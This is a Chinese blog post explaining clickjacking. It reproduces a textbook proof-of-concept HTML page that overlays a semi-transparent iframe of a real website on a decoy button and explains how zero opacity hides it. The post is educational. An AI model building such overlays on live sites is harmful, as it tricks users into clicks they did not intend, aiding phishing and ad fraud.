有关点击劫持(ClickJacking)

有关点击劫持(ClickJacking)

点击劫持(ClickJacking)是一种视觉上的欺骗手段。大概有两种方式,一是攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,此时用户将在不知情的情况下点击透明的iframe页面;二是攻击者使用一张图片覆盖在网页,遮挡网页原有位置的含义;

攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在该网页上进行操作,此时用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上。点击劫持原理示意图看下面这个例子。在http://www.a.com/test.html页面中插入了一个指向目标网站的iframe,出于演示的目的,我们让这个iframe变成半透明:

<!DOCTYPE html>
<html>
 <head>
  <title>CLICK JACK!!!</title>
  <style>
  iframe {
   width: 900px;
   height: 250px;
              /* Use absolute positioning to 
line up update button with fake button */
              position: absolute;
   top: -195px;
   left: -740px;
   z-index: 2;
              /* Hide from view */
              -moz-opacity: 0.5;
   opacity: 0.5;
   filter: alpha(opacity=0.5);
  }
button {
   position: absolute;
   top: 10px;
   left: 10px;
   z-index: 1;
   width: 120px;
  }
  </style>
 </head>
 <body>
  <iframe src="http://www.qidian.com" 
scrolling="no"></iframe>
  <button>CLICK HERE!</button>
 </body>
</html>

用户看到的按钮当iframe半透明时,可以看到,在button上面其实覆盖了另一个网页:实际的页面,按钮上隐藏了一个iframe窗口覆盖的网页其实是一个搜索按钮:隐藏的iframe窗口的内容当用户试图点击test.html里的button时,实际上却会点击到iframe页面中的搜索按钮。

通过控制iframe的长、宽,以及调整top、left的位置,可以把iframe页面内的任意部分覆盖到任何地方。同时设置iframe的position为absolute,并将z-index的值设置为最大,以达到让iframe处于页面的最上层。最后,再通过设置opacity来控制iframe页面的透明程度,值为0是完全不可见。

这样,就完成了一次点击劫持的攻击。点击劫持攻击与CSRF攻击(详见“跨站点请求伪造”一章)有异曲同工之妙,都是在用户不知情的情况下诱使用户完成一些动作。但是在CSRF攻击的过程中,如果出现用户交互的页面,则攻击可能会无法顺利完成。与之相反的是,点击劫持没有这个顾虑,它利用的就是与用户产生交互的页面。

这是我在《白帽子讲Web安全》一书中看到的例子,觉得挺好,就自接写到这儿了。

在我看来,ClickJacking相对于XSS与CSRF来说,因为需要诱使用户与页面产生交互行为,因此实施攻击的成本更高,在网络犯罪中比较少见。但Click-Jacking在未来仍然有可能被攻击者利用在钓鱼、欺诈和广告作弊等方面,不可不察。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值